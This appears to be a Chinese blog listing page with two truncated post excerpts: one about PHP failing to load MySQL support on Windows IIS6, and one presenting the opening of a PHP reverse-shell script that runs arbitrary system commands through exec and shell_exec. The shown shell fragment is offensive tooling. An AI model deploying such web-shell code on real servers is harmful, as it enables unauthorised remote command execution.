windows下PHP 连接不上 MYSQL的解决方法

by
SiNsKy
Posted 十二月 20th, 2011 at 8:10 下午
事件:配置好IIS和PHP环境后,phpinfo无法显示MySql信息
环境1:IIS6 + php 5.3.8 + MySql 5.5.18
FastCgi模式
配置好后症状,IIS6可用,PHP可用,MySql可用,php.ini完全正确
连接报错:Fatal error: Call to undefined function mysql_connect() in
探针显示Mysql不支持
phpinfo不显示Mysql信息
查找N多解决方法无果,
由于...
一猥琐流专用php反弹cmd shell代码

by
SiNsKy
Posted 十月 18th, 2011 at 2:48 下午
<?php //猥琐流反弹PHP
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cf...